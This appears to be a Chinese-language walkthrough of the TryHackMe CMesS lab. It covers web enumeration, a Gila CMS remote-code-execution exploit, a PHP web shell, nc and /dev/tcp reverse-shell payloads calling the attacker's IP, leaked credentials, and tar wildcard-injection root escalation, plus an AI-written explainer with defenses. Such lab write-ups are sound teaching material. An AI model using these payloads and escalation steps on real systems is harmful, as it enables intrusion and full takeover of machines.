## 概述
來源: tryhackme
題目: CMesS
難度: medium
網址: https://tryhackme.com/room/cmess
靶機 `10.10.180.27`
### 學習目標
「僅供學習參考,請勿用於非法用途」
- nmap 掃描port
- gobuster 掃描路徑
- 新增 hosts 透過 `domain name` 訪問網站
- wfuzz 掃描子網域
- Gila CMS 後台操作
- searchsploit 漏洞掃描與利用
- 製作 php-reverse-shell.php
- 用 url 下 cmd 的 php
- 直接 reverse shell 的 php
- nc 反射 shell
- mysql 操作
- bcrypt 雜湊
- LineNum 使用
- su 登入
- tar wildcard injection 漏洞利用
- SUID bit 的理解與利用
- Crontab 提權
## 基本掃描
### nmap
```bash
nmap -sV -sC -v 10.10.180.27
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
| 256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_ 256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Gila CMS
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### gobuster
```bash
└─$ gobuster dir -u http://10.10.180.27 -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.180.27
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/0 (Status: 200) [Size: 3860]
/01 (Status: 200) [Size: 4090]
/1 (Status: 200) [Size: 4090]
/1x1 (Status: 200) [Size: 4090]
/About (Status: 200) [Size: 3345]
/Index (Status: 200) [Size: 3860]
/Search (Status: 200) [Size: 3860]
/about (Status: 200) [Size: 3359]
/admin (Status: 200) [Size: 1583]
/api (Status: 200) [Size: 0]
/api/experiments (Status: 200) [Size: 0]
/api/experiments/configurations (Status: 200) [Size: 0]
/assets (Status: 301) [Size: 324] [--> http://10.10.180.27/assets/?url=assets]
/author (Status: 200) [Size: 3599]
/blog (Status: 200) [Size: 3860]
/category (Status: 200) [Size: 3871]
/cm (Status: 500) [Size: 0]
/feed (Status: 200) [Size: 735]
/fm (Status: 200) [Size: 0]
/index (Status: 200) [Size: 3860]
/lib (Status: 301) [Size: 318] [--> http://10.10.180.27/lib/?url=lib]
/log (Status: 301) [Size: 318] [--> http://10.10.180.27/log/?url=log]
/login (Status: 200) [Size: 1583]
/robots.txt (Status: 200) [Size: 65]
/search (Status: 200) [Size: 3860]
/server-status (Status: 403) [Size: 277]
/sites (Status: 301) [Size: 322] [--> http://10.10.180.27/sites/?url=sites]
/src (Status: 301) [Size: 318] [--> http://10.10.180.27/src/?url=src]
/tag (Status: 200) [Size: 3883]
/tags (Status: 200) [Size: 3145]
/themes (Status: 301) [Size: 324] [--> http://10.10.180.27/themes/?url=themes]
/tmp (Status: 301) [Size: 318] [--> http://10.10.180.27/tmp/?url=tmp]
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished
===============================================================
```
之後就卡關了
得到幾個線索
網站是 Gila CMS
所以先查了 searchsploit
雖然不知道版本 想說就先試試
```bash
└─$ searchsploit gila cms
------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------ ---------------------------------
Gila CMS 1.10.9 - Remote Code Execution ( | php/webapps/51569.py
Gila CMS 1.11.8 - 'query' SQL Injection | php/webapps/48590.py
Gila CMS 1.9.1 - Cross-Site Scripting | php/webapps/46557.txt
Gila CMS 2.0.0 - Remote Code Execution (U | php/webapps/49412.py
Gila CMS < 1.11.1 - Local File Inclusion | multiple/webapps/47407.txt
------------------------------------------ ---------------------------------
Shellcodes: No Results
```
先確認 POC 內容
```bash
└─$ searchsploit -x php/webapps/51569.py
# php/webapps/51569.py
target_url = input("Enter the target login URL (e.g., http://example.com/ad
min/): ")
└─$ searchsploit -x php/webapps/48590.py
webpath = "/gila-1.11.8/admin/sql?query="
query1 = "SELECT id FROM user LIMIT 0,1 INTO OUTFILE "
localpath = "\'C://xampp//htdocs//"
shellname = "webshell.php\' "
query2 = "LINES TERMINATED BY "
```
結果發現都需要 `/admin` 才可執行
但 `/admin` 要登入
不然就是根本沒那路徑QQ
之後找了 msfconsole 也都沒漏洞
```!=
msf6 > search exploit gila cms
[-] No results from search
msf6 > search gila cms
[-] No results from search
msf6 > search gilacms
[-] No results from search
msf6 > search cms
```
其他路徑也都進去訪問了一遍都沒啥料
不然就是都需要登入
## 掃描子網域
後來看了其他大神的 [writeup](https://dregghunshot.github.io/html/ctf/alltime/tryhackme/cmess/index.html)
才發現有個新招 `掃描子網域` < 對我來說啦哈哈 之前沒用過
難怪官方一開始就提醒要設 hosts
```bash
┌──(kali㉿kali)-[~/tryhackme/cmess]
└─$ nano /etc/hosts
┌──(kali㉿kali)-[~/tryhackme/cmess]
└─$ cat /etc/hosts
...
10.10.180.27 cmess.thm
```
第一次掃描子網域 問了 AI 給了個範本
```bash
└─$ wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://cmess.thm/" -H "Host: FUZZ.cmess.thm" --hl 107
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://cmess.thm/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 30 L 104 W 934 Ch "{sub domain}"
Total time: 294.7617
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 16.92553
```
但不懂原理 還是確認一下
先看個官方說明
```bash
└─$ wfuzz --help
-c : Output with colors
-f filename,printer : Store results in the output file using the specified printer (raw printer if omitted).
-u url : Specify a URL for the request.
-w wordlist : Specify a wordlist file (alias for -z file,wordlist).
-H header : Use header (ex:"Cookie:id=1312321&user=FUZZ"). Repeat option for various headers.
--hc/hl/hw/hh N[,N]+ : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
```
不懂的話再來個 AI 補充
> 1. **`-c`**: 带有颜色输出,使结果更容易阅读。
> 2. **`-f sub-fighter`**: 将输出保存到名为 `sub-fighter` 的文件中。
> 3. **`-w /path/to/wordlist`**: 指定用于暴力破解的**字典文件**(或称**词表**),wfuzz 会用字典文件中的每一个词替换 URL 或 Header 中的 `FUZZ` 标记。
> 4. **`-u 'http://cmess.thm'`**: 指定目标 URL。
> 5. **`-H "Host: FUZZ.cmess.thm"`**: 指定 HTTP Header。这里的关键是 `FUZZ` 标记,wfuzz 会使用字典中的词逐一替换它,来尝试不同的 **Host** 值。
> 5. **`--hl 107`**: "hide lines" 的縮寫,隱藏的是 HTTP 響應的行數, 完整響應包含 headers + body 的總行數。常用來過濾掉固定的錯誤頁面(例如大量的 404 頁面),只顯示行數不同的「有趣結果」。
也給大家看一下不加 `--hl 107` 會怎樣
```bash
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000031: 200 107 L 290 W 3886 Ch "mobile"
000000001: 200 107 L 290 W 3877 Ch "www"
000000048: 200 107 L 290 W 3886 Ch "portal"
000000047: 200 107 L 290 W 3880 Ch "news"
000000046: 200 107 L 290 W 3877 Ch "img"
000000007: 200 107 L 290 W 3889 Ch "webdisk"
000000049: 200 107 L 290 W 3886 Ch "server"
000000015: 200 107 L 290 W 3874 Ch "ns"
000000050: 200 107 L 290 W 3880 Ch "wiki"
000000003: 200 107 L 290 W 3877 Ch "ftp"
000000045: 200 107 L 290 W 3880 Ch "www1"
...
```
沒錯刷一整排 難怪大神 [writeup](https://dregghunshot.github.io/html/ctf/alltime/tryhackme/cmess/index.html) 內有加 `--hl 107`
總之我們得到了一個子網域
但這邊很好笑
我直接訪問了 `{sub domain}.cmess.thm/`
但卻都沒辦法訪問
後來看了大神的 writeup 才被自己蠢到哈哈
要再把網域加入 hosts 內才可用啦
```bash
10.10.180.27 cmess.thm {sub domain}.cmess.thm
```
## 登入網站
加入 hosts 後
訪問子網域直接找到一組帳號密碼

馬上來去登登看 `/admin`
果然成功登入 也發現 Gila CMS `version 1.10.9` 版本

## 取得 shell
### searchsploit
馬上把剛剛的 searchsploit 再找出來
監聽一下 nc
取得了 shell
```bash
└─$ python3 51569.py
██████╗ ██╗██╗ █████╗ ██████╗███╗ ███╗███████╗ ██████╗ ██████╗███████╗
██╔════╝ ██║██║ ██╔══██╗ ██╔════╝████╗ ████║██╔════╝ ██╔══██╗██╔════╝██╔════╝
██║ ███╗██║██║ ███████║ ██║ ██╔████╔██║███████╗ ██████╔╝██║ █████╗
██║ ██║██║██║ ██╔══██║ ██║ ██║╚██╔╝██║╚════██║ ██╔══██╗██║ ██╔══╝
╚██████╔╝██║███████╗██║ ██║ ╚██████╗██║ ╚═╝ ██║███████║ ██║ ██║╚██████╗███████╗
╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝
by Unknown_Exploit
Enter the target login URL (e.g., http://example.com/admin/): http://cmess.thm/admin
Enter the email: andre@cmess.thm
Enter the password: KPFTN_f2yxe%
Enter the local IP (LHOST): 10.4.11.38
Enter the local port (LPORT): 1234
File uploaded successfully.
Payload executed successfully.
```
```bash
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.4.11.38] from (UNKNOWN) [10.10.180.27] 33960
bash: cannot set terminal process group (724): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cmess:/var/www/html/tmp$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### 手動上傳檔案
了解了剛剛的 POC 發現是可以透過上傳檔案反射 shell
先上傳了一個執行 cmd 的 `.php`
透過 url 下 cmd 觸發 reverse shell
```python
# cmd 內容
# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f
payload = f"rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+{lhost}+{lport}+>/tmp/f"
# 訪問檔案的 url
payload_url = f"{target_url_2}tmp/shell.php7?cmd={payload}"
# shell.php7 檔案內容
Content-Disposition: form-data; name="uploadfiles"; filename="shell.php7"
Content-Type: application/x-php
<?php system($_GET["cmd"]);?>
```
所以想說來自己手動看看
#### payload 1
於是我先找到訪問檔案的地方手動觸發看看剛剛上傳的 `shell.php7`
```bash
http://cmess.thm/tmp/shell.php7?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2%3E%261|nc+10.4.11.38+1234+%3E/tmp/f
```
> `%3E` = `>` 的 url encoding
果真也能成功 nc 反射 shell
#### payload 2
玩上癮了
剛剛的檔案要下 cmd 想說用之前的檔案看能不能不下 cmd 直接反射
之前都是使用 `/usr/share/webshells/php/php-reverse-shell.php` 調整 local ip
來試試吧 訪問
```bash
http://cmess.thm/tmp/php-reverse-shell.php
```
沒想到失敗了
後來問 AI 說可能 server 有排除 `.php`
改成 `.php5` 或 `.php7` 試試看
後來想想的確 原本的 POC 就是使用 `.php7`
而我調整成 `.php5` 試試
```bash
http://cmess.thm/tmp/php-reverse-shell.php5
```
沒想到也成功拿到 shell 哈哈
#### payload 3
最後我又試了另一個從原本的 POC 修改 cmd 的 payload
```bash
# 修改前
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f
# 修改後
bash -i >& /dev/tcp/10.4.11.38/1234 0>&1
```
```bash
http://cmess.thm/tmp/shell.php7?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.4.11.38/1234+0%3E%261%27
```
也成功 nc 反射 shell
## mysql
拿到 shell 後
先在附近路徑 ls 看看有啥檔案
發現了 `config.php`
看到疑似 db 的 root 帳密
```bash
www-data@cmess:/var/www/html$ cat config.php
cat config.php
<?php
$GLOBALS['config'] = array (
'db' =>
array (
'host' => 'localhost',
'user' => 'root',
'pass' => 'r0...rd',
'name' => 'gila',
),
'permissions' =>
...
```
但我不知道這是哪種 database
問了 AI
> 雖然配置檔中沒有直接寫出資料庫的類型(例如 type 或 driver),但從以下資訊可以判斷它是 MySQL 或其分支 MariaDB:
>
> 1. 使用者名稱 (user): 配置中使用的使用者是 'root',這是 MySQL 資料庫的預設管理員帳號。
>
> 2. 變數名稱 (host, user, pass, name): 這是 PHP 應用程式連線 MySQLi 或 PDO (MySQL) 驅動時,標準使用的變數名稱。
>
> 3. 環境:Gila CMS 是一個 PHP 內容管理系統,而 PHP 生態系中最主流、最常見的資料庫就是 MySQL 或 MariaDB。
所以試著用 mysql 登入看看
```bash
www-data@cmess:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: r0otus3rpassw0rd
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 43235
Server version: 5.7.29-0ubuntu0.16.04.1 (Ubuntu)
Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
```
登入成功想說要來大展身手了
```bash
mysql> show tables;
show tables;
+----------------+
| Tables_in_gila |
+----------------+
| option |
| page |
| post |
| postcategory |
| postmeta |
| user |
| usermeta |
| userrole |
| widget |
+----------------+
9 rows in set (0.00 sec)
mysql> select * from user
select * from user
-> ;
;
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
| id | username | email | pass | active | reset_code | created | updated |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
| 1 | andre | andre@cmess.thm | $2y$10$uNAA0MEze02jd.qU9tnYLu43bNo9nujltElcWEAcifNeZdk4bEsBa | 1 | | 2020-02-06 18:20:34 | 2020-02-06 18:20:34 |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
1 row in set (0.00 sec)
mysql> exit
```
這邊看到就傻住了
了解一下這密碼是什麼加密
> ```
> $2y$10$uNAA0MEze02jd.qU9tnYLu43bNo9nujltElcWEAcifNeZdk4bEsBa
> ```
>
> 是 **bcrypt 雜湊(bcrypt hash)**。
>
> bcrypt 的格式通常是:
>
> ```
> $2y$<cost>$<22字元salt><31字元hash>
> ```
>
> 讓我們拆解一下這一串:
>
> | 部分 | 說明 |
> | --------------------------------- | ---------------------------------------------------- |
> | `$2y$` | 演算法版本(bcrypt)。<br>常見版本還有 `$2a$`、`$2b$`。 |
> | `10` | cost factor(運算強度),代表要做 2¹⁰ = 1024 次加密迭代。數字越大越安全、但越慢。 |
> | `uNAA0MEze02jd.qU9tnYLu` | 22 字元的 **salt**,用來防止相同密碼產生相同 hash。 |
> | `43bNo9nujltElcWEAcifNeZdk4bEsBa` | 真正的 bcrypt 雜湊結果(31 字元)。 |
> * **不可逆**:bcrypt 是雜湊(hash),不是加密(encryption),無法「解密」回原始密碼。
> * **安全性高**:內建 salt、防暴力破解設計。
> * **常用語言支援**:
>
> * Python → `bcrypt` 模組
> * PHP → `password_hash()`
> * Java → `BCrypt`(Spring Security 內建)
> * 要注意:
> bcrypt 雜湊值無法直接反推回密碼,只能用「嘗試比對」方式驗證。
看來涼了 這應該可以算是我的第一個🐰洞?!
先試試其他方式好了
## 取得 user shell
後來跟大神一樣 使用 `LineNum`
### 靶機取得 LineNum
先在有 LineNum 的地方開啟 http.server
然後再靶機 wget 下載 即可
```bash
┌──(kali㉿kali)-[~/lin_shell]
└─$ ls
LinEnum.sh linpeas.sh
┌──(kali㉿kali)-[~/lin_shell]
└─$ python3 -m http.server 666
Serving HTTP on 0.0.0.0 port 666 (http://0.0.0.0:666/) ...
10.10.180.27 - - [24/Oct/2025 13:22:34] "GET /LinEnum.sh HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
```
```bash
www-data@cmess:/var/www/html/tmp$ wget http://10.4.11.38:666/LinEnum.sh
wget http://10.4.11.38:666/LinEnum.sh
--2025-10-23 22:22:33-- http://10.4.11.38:666/LinEnum.sh
Connecting to 10.4.11.38:666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'
0K .......... .......... .......... .......... ..... 100% 37.9K=1.2s
2025-10-23 22:22:36 (37.9 KB/s) - 'LinEnum.sh' saved [46631/46631]
www-data@cmess:/var/www/html/tmp$
www-data@cmess:/var/www/html/tmp$ ls
ls
LinEnum.sh
```
說實話跑出來的東西太多了
我不到哪邊有可利用的漏洞
問了 AI 整理兩個區塊
首先是 password 洩漏
```bash
[-] Location and Permissions (if accessible) of .bak file(s):
-rw-r--r-- 1 root root 3020 Feb 6 2020 /etc/apt/sources.bak
-rwxrwxrwx 1 root root 36 Feb 6 2020 /opt/.password.bak
```
查看此 `.bak` 直接拿到 使用者帳密
```bash
www-data@cmess:/var/www/html/tmp$ cat /opt/.password.bak
cat /opt/.password.bak
andres backup password
UQ...P6
```
這裡有個小陷阱
使用者名稱要注意
```bash
www-data@cmess:/var/www/html/tmp$ su andres
su andres
su: must be run from a terminal
www-data@cmess:/var/www/html/tmp$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<l/tmp$ python3 -c 'import pty; pty.spawn("/bin/bash ")'
www-data@cmess:/var/www/html/tmp$ su andres
su andres
No passwd entry for user 'andres'
www-data@cmess:/var/www/html/tmp$ su andre
su andre
Password: UQ...P6
andre@cmess:/var/www/html/tmp$
```
終於登入成功了
> ### 使用者名稱不一致的問題
>
> 備份檔案顯示 `andres`,但系統實際使用者是 `andre`。
> 這可能是:
> 1. 管理員的打字錯誤
> 2. CTF 設計的小陷阱
> 3. 使用者名稱曾被修改但備份未更新
>
> **教訓**: 在滲透測試中,找到的資訊不一定完全準確,
> 需要交叉驗證。應該先用 `ls /home/` 或 `cat /etc/passwd`
> 確認系統中實際存在的使用者。
## get root shell
再來是 `LineNum` 的第二部分
```bash
[-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 * * * * root cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
```
發現此 `/home/andre/backup` 每兩分鐘會用 `tar` 備份一次
透過
https://gtfobins.github.io/gtfobins/tar/
以及 AI 了解一下 tar 如何利用 wildcard injection 提權 < 後面的章節做補充
簡單說明
在目錄下建立兩3個檔案 `shell.sh` `--checkpoint=1` `--checkpoint-action=exec=sh shell.sh`
> 因為 Linux 允許檔案名包含幾乎任何字符,包括 `-` 和 `--`
```bash
tar -zcf /tmp/andre_backup.tar.gz *
```
因為 wildcard injection 漏洞:
1. Shell 在處理 `*` 時會先展開為目錄中的所有檔名
2. tar 按**字母順序**讀取參數
3. `--` 開頭的檔名會被 tar 誤認為是命令選項
4. 因此 tar 實際執行時會把這些「特殊檔名」當作參數處理
這就是為什麼我們要建立名為 `--checkpoint=1` 的檔案,
而不是直接執行 `tar --checkpoint=1 ...`
最終指令會變成這樣
```bash
tar -zcf /tmp/andre_backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh note
```
導致以下提權成功 並取得 root.txt
```bash
andre@cmess:~/backup$ ls
ls
note
andre@cmess:~/backup$ echo 'chmod +s /bin/bash' > shell.sh
echo 'chmod +s /bin/bash' > shell.sh
andre@cmess:~/backup$ ls -la shell.sh
ls -la shell.sh
-rw-rw-r-- 1 andre andre 19 Oct 23 23:04 shell.sh
andre@cmess:~/backup$ chmod +x shell.sh
chmod +x shell.sh
andre@cmess:~/backup$ ls -la shell.sh
ls -la shell.sh
-rwxrwxr-x 1 andre andre 19 Oct 23 23:04 shell.sh
andre@cmess:~/backup$ ls
ls
note shell.sh
andre@cmess:~/backup$ echo "" > "--checkpoint=1"
echo "" > "--checkpoint=1"
andre@cmess:~/backup$ ls
ls
--checkpoint=1 note shell.sh
andre@cmess:~/backup$ echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint-action=exec=sh shell.sh"
andre@cmess:~/backup$ ls
ls
--checkpoint=1 --checkpoint-action=exec=sh shell.sh note shell.sh
andre@cmess:~/backup$ ls -la /bin/bash
ls -la /bin/bash
-rwxr-xr-x 1 root root 1037528 May 16 2017 /bin/bash
# 等待 crontab 自動執行 (最多 2 分鐘)
# 可以用 watch -n 1 'ls -la /bin/bash' 監控權限變化
andre@cmess:~/backup$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-sr-x 1 root root 1037528 May 16 2017 /bin/bash # 注意 s 權限出現了!
andre@cmess:~/backup$ /bin/bash -p
/bin/bash -p
bash-4.3# id
id
uid=1000(andre) gid=1000(andre) euid=0(root) egid=0(root) groups=0(root),1000(andre)
bash-4.3# cat /root/root.txt
cat /root/root.txt
thm{9f...a2}
bash-4.3#
```
## AI補充說明:Wildcard Injection 深度解析
### 什麼是 Wildcard Injection?
Wildcard Injection 是一種利用 shell 通配符(`*`, `?` 等)展開機制來注入命令參數的攻擊技術。當程式使用通配符處理檔案時,攻擊者可以透過創建特殊命名的檔案來注入惡意參數。
### 攻擊原理
#### Shell 通配符展開順序
當執行以下命令時:
```bash
tar -zcf backup.tar.gz *
```
Shell 會先將 `*` 展開成當前目錄的所有檔案名,然後才傳遞給 tar 命令。
假設目錄中有以下檔案:
```
file1.txt
file2.txt
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
```
Shell 展開後實際執行的命令為:
```bash
tar -zcf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh file1.txt file2.txt
```
**關鍵點:檔案名被當作了命令列參數!**
#### 為什麼會產生漏洞?
**1. Tar 的 checkpoint 功能**
Tar 提供了合法的 checkpoint 功能:
```bash
tar --checkpoint=N --checkpoint-action=ACTION
```
- `--checkpoint=1`:每處理 1 個檔案就執行一次 checkpoint
- `--checkpoint-action=exec=COMMAND`:在 checkpoint 時執行指定命令
**2. Linux 檔案名的特性**
Linux 允許檔案名包含幾乎任何字符,包括 `-` 和 `--`:
```bash
touch "--checkpoint=1" # 這是合法的檔案名
touch "--help" # 這也是合法的檔案名
```
### 攻擊流程分析
#### Step 1: 建立惡意腳本
```bash
echo 'chmod +s /bin/bash' > shell.sh
chmod +x shell.sh
```
這個腳本會將 `/bin/bash` 設置 SUID 位元,使其以擁有者(root)權限執行。
#### Step 2: 建立偽裝成參數的檔案
```bash
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
```
這些檔案的**檔案名本身就是參數**,內容並不重要。
#### Step 3: 等待 Cron 執行
當 root 的 cron 任務執行時:
```bash
cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
```
通配符 `*` 會展開為:
```bash
tar -zcf /tmp/andre_backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh
```
Tar 在處理檔案時會:
1. 辨識 `--checkpoint=1` 和 `--checkpoint-action=exec=sh shell.sh` 參數
2. 每處理一個檔案就觸發 checkpoint
3. **以 root 權限執行** `sh shell.sh`
4. `shell.sh` 將 `/bin/bash` 設置 SUID 位元
#### Step 4: 提權
```bash
/bin/bash -p
```
- `-p` 參數啟用特權模式(privileged mode)
- 在 SUID 模式下保持有效 UID
- 成功獲得 root shell
### 完整攻擊流程圖
```
┌─────────────────────────────────────────────────────────┐
│ 1. 攻擊者 (andre) 建立檔案 │
│ /home/andre/backup/ │
│ ├── shell.sh │
│ ├── --checkpoint=1 │
│ └── --checkpoint-action=exec=sh shell.sh │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 2. Cron 任務觸發 (每 2 分鐘) │
│ root 執行: tar -zcf /tmp/backup.tar.gz * │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 3. Shell 展開通配符 │
│ tar -zcf /tmp/backup.tar.gz \ │
│ --checkpoint=1 \ │
│ --checkpoint-action=exec=sh shell.sh \ │
│ shell.sh │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 4. Tar 執行並觸發 checkpoint │
│ → 以 root 權限執行: sh shell.sh │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 5. shell.sh 執行: chmod +s /bin/bash │
│ /bin/bash 獲得 SUID 位元 │
│ -rwsr-sr-x 1 root root ... /bin/bash │
│ ↑ SUID 位元 │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 6. 攻擊者執行: /bin/bash -p │
│ → 成功獲得 root shell! │
└─────────────────────────────────────────────────────────┘
```
### 其他受影響的命令
任何使用通配符的命令都可能受此影響:
**rsync 範例:**
```bash
# 原始命令
rsync -av * user@backup:/dest/
# 攻擊
touch -- "-e sh payload.sh"
# 展開成: rsync -av -e sh payload.sh ...
```
**chown 範例:**
```bash
# 原始命令
chown user:user *
# 攻擊
touch -- "--reference=/etc/shadow"
# 可能導致權限配置錯誤
```
**rm 範例(極度危險):**
```bash
# 原始命令
rm *
# 攻擊
touch -- "-rf"
touch -- "/"
# 可能展開成: rm -rf / (災難性後果!)
```
### 防禦措施
#### 方法 1:使用 `./` 前綴
```bash
# ❌ 危險
tar -zcf backup.tar.gz *
# ✅ 安全
tar -zcf backup.tar.gz ./*
```
`./` 前綴使檔案名展開為 `./--checkpoint=1`,不會被識別為參數。
#### 方法 2:使用 `--` 分隔符
```bash
# ✅ 安全
tar -zcf backup.tar.gz -- *
```
`--` 告訴命令:之後的所有內容都是檔案名,不是選項。
#### 方法 3:明確指定檔案
```bash
# ✅ 安全
find /home/andre/backup -type f -exec tar -zcf backup.tar.gz {} +
```
#### 方法 4:限制目錄權限
```bash
# 只允許 root 寫入
chmod 755 /home/andre/backup
chown root:root /home/andre/backup
```
### 漏洞成功的三個條件
Wildcard Injection 攻擊成功需要同時滿足:
1. ✅ 命令使用通配符(`*`、`?` 等)
2. ✅ 攻擊者可以在目標目錄建立檔案
3. ✅ 命令接受可執行程式碼的參數
**CMesS 靶機完全符合以上條件:**
- ✅ 使用 `tar ... *` 通配符
- ✅ andre 使用者可寫入 `/home/andre/backup`
- ✅ tar 的 `--checkpoint-action=exec` 可執行命令
- ✅ **以 root 身份執行 cron 任務**
### 真實世界案例
- **2014 年**:DefenseCode 研究員 Leon Juranic 發表論文 "Back To The Future: Unix Wildcards Gone Wild",詳細記錄此攻擊技術
- **CTF 競賽**:常見的權限提升技巧
- **真實環境**:許多生產環境的備份腳本存在此問題
### 實際測試
可以在安全環境中測試此漏洞:
```bash
# 建立測試目錄
mkdir wildcard-test && cd wildcard-test
# 建立測試檔案
echo "echo EXPLOITED" > test.sh
chmod +x test.sh
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh test.sh"
# 執行 tar
tar -czf backup.tar.gz *
# 會看到 "EXPLOITED" 輸出,證明命令被執行!
```
---
**總結:** Wildcard Injection 是一個嚴重的安全漏洞,它利用了 shell 通配符展開和 Linux 檔案系統的特性。在編寫自動化腳本時,應該始終避免直接使用通配符,或採用適當的防護措施。